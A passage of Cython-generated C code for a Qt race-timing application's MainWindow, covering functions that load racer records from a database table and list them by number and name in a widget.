(CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 215, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_concurrents, __pyx_t_1) < 0) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":216 * self.L_racerlist.setSortingEnabled(True) * self.concurrents = T_Concurrents() * while self.concurrents.getNextRecord(): # <<<<<<<<<<<<<< * c = dict( self.concurrents._data ) * c['transponder'] = 0 */ while (1) { __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_concurrents); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_getNextRecord); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 216, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (!__pyx_t_4) break; /* "MainWindow.py":217 * self.concurrents = T_Concurrents() * while self.concurrents.getNextRecord(): * c = dict( self.concurrents._data ) # <<<<<<<<<<<<<< * c['transponder'] = 0 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( c['id'] )] = c */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_concurrents); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_data_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(((PyObject *)(&PyDict_Type)), __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF_SET(__pyx_v_c, ((PyObject*)__pyx_t_3)); __pyx_t_3 = 0; /* "MainWindow.py":218 * while self.concurrents.getNextRecord(): * c = dict( self.concurrents._data ) * c['transponder'] = 0 # <<<<<<<<<<<<<< * Globals.racerList[ Globals.C_concurrents_ID_fmt%( c['id'] )] = c * */ if (unlikely(PyDict_SetItem(__pyx_v_c, __pyx_n_u_transponder, __pyx_int_0) < 0)) __PYX_ERR(0, 218, __pyx_L1_error) /* "MainWindow.py":219 * c = dict( self.concurrents._data ) * c['transponder'] = 0 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( c['id'] )] = c # <<<<<<<<<<<<<< * * def initGuiConcurrents(self): */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_racerList); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_C_concurrents_ID_fmt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyDict_GetItem(__pyx_v_c, __pyx_n_u_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = PyNumber_Remainder(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_t_5, __pyx_v_c) < 0)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } /* "MainWindow.py":213 * self.R_brandMenu.addItem(c['nom'], c['id']) * * def initListConcurrents(self): # <<<<<<<<<<<<<< * self.L_racerlist.setSortingEnabled(True) * self.concurrents = T_Concurrents() */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("MainWindow.MainWindow.initListConcurrents", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_c); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":221 * Globals.racerList[ Globals.C_concurrents_ID_fmt%( c['id'] )] = c * * def initGuiConcurrents(self): # <<<<<<<<<<<<<< * for id in Globals.racerList: * i = Globals.racerList[id] */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_31initGuiConcurrents(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_31initGuiConcurrents = {"initGuiConcurrents", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_31initGuiConcurrents, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_31initGuiConcurrents(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("initGuiConcurrents (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_30initGuiConcurrents(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_30initGuiConcurrents(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_id = NULL; PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_item = NULL; PyObject *__pyx_v_title = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; Py_ssize_t __pyx_t_3; PyObject *(*__pyx_t_4)(PyObject *); PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; PyObject *__pyx_t_10 = NULL; int __pyx_t_11; __Pyx_RefNannySetupContext("initGuiConcurrents", 0); /* "MainWindow.py":222 * * def initGuiConcurrents(self): * for id in Globals.racerList: # <<<<<<<<<<<<<< * i = Globals.racerList[id] * item = QtWidgets.QListWidgetItem() */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_racerList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (likely(PyList_CheckExact(__pyx_t_2)) || PyTuple_CheckExact(__pyx_t_2)) { __pyx_t_1 = __pyx_t_2; __Pyx_INCREF(__pyx_t_1); __pyx_t_3 = 0; __pyx_t_4 = NULL; } else { __pyx_t_3 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = Py_TYPE(__pyx_t_1)->tp_iternext; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 222, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; for (;;) { if (likely(!__pyx_t_4)) { if (likely(PyList_CheckExact(__pyx_t_1))) { if (__pyx_t_3 >= PyList_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_2 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_3); __Pyx_INCREF(__pyx_t_2); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 222, __pyx_L1_error) #else __pyx_t_2 = PySequence_ITEM(__pyx_t_1, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); #endif } else { if (__pyx_t_3 >= PyTuple_GET_SIZE(__pyx_t_1)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_3); __Pyx_INCREF(__pyx_t_2); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 222, __pyx_L1_error) #else __pyx_t_2 = PySequence_ITEM(__pyx_t_1, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); #endif } } else { __pyx_t_2 = __pyx_t_4(__pyx_t_1); if (unlikely(!__pyx_t_2)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 222, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_2); } __Pyx_XDECREF_SET(__pyx_v_id, __pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":223 * def initGuiConcurrents(self): * for id in Globals.racerList: * i = Globals.racerList[id] # <<<<<<<<<<<<<< * item = QtWidgets.QListWidgetItem() * item.setText( Globals.C_concurrents_item_fmt % ( i['numero'], i['nom'], i['prenom'] ) ) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_racerList); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_5, __pyx_v_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF_SET(__pyx_v_i, __pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":224 * for id in Globals.racerList: * i = Globals.racerList[id] * item = QtWidgets.QListWidgetItem() # <<<<<<<<<<<<<< * item.setText( Globals.C_concurrents_item_fmt % ( i['numero'], i['nom'], i['prenom'] ) ) * item.setData( Globals.UserRole, id) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QListWidgetItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF_SET(__pyx_v_item, __pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":225 * i = Globals.racerList[id] * item = QtWidgets.QListWidgetItem() * item.setText( Globals.C_concurrents_item_fmt % ( i['numero'], i['nom'], i['prenom'] ) ) # <<<<<<<<<<<<<< * item.setData( Globals.UserRole, id) * item.setFont( Globals.C_listFont ) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_C_concurrents_item_fmt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyObject_GetItem(__pyx_v_i, __pyx_n_u_numero); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = PyObject_GetItem(__pyx_v_i, __pyx_n_u_nom); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_9 = PyObject_GetItem(__pyx_v_i, __pyx_n_u_prenom); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = PyTuple_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_8); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_t_9); __pyx_t_5 = 0; __pyx_t_8 = 0; __pyx_t_9 = 0; __pyx_t_9 = PyNumber_Remainder(__pyx_t_7, __pyx_t_10); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_10) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_10, __pyx_t_9}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_10, __pyx_t_9}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_10); __pyx_t_10 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":226 * item = QtWidgets.QListWidgetItem() * item.setText( Globals.C_concurrents_item_fmt % ( i['numero'], i['nom'], i['prenom'] ) ) * item.setData( Globals.UserRole, id) # <<<<<<<<<<<<<< * item.setFont( Globals.C_listFont ) * self.L_racerlist.addItem(item) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setData); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_UserRole); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_11 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_11 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_9, __pyx_v_id}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_9, __pyx_v_id}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_10 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_11, __pyx_t_9); __Pyx_INCREF(__pyx_v_id); __Pyx_GIVEREF(__pyx_v_id); PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_11, __pyx_v_id); __pyx_t_9 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_10, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":227 * item.setText( Globals.C_concurrents_item_fmt % ( i['numero'], i['nom'], i['prenom'] ) ) * item.setData( Globals.UserRole, id) * item.setFont( Globals.C_listFont ) # <<<<<<<<<<<<<< * self.L_racerlist.addItem(item) * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setFont); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_10 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_C_listFont); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_10)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_10); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_10) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_10, __pyx_t_9}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_10, __pyx_t_9}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_10); __pyx_t_10 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":228 * item.setData( Globals.UserRole, id) * item.setFont( Globals.C_listFont ) * self.L_racerlist.addItem(item) # <<<<<<<<<<<<<< * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_6) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_item); if (unlikely(!__pyx_t_2)) 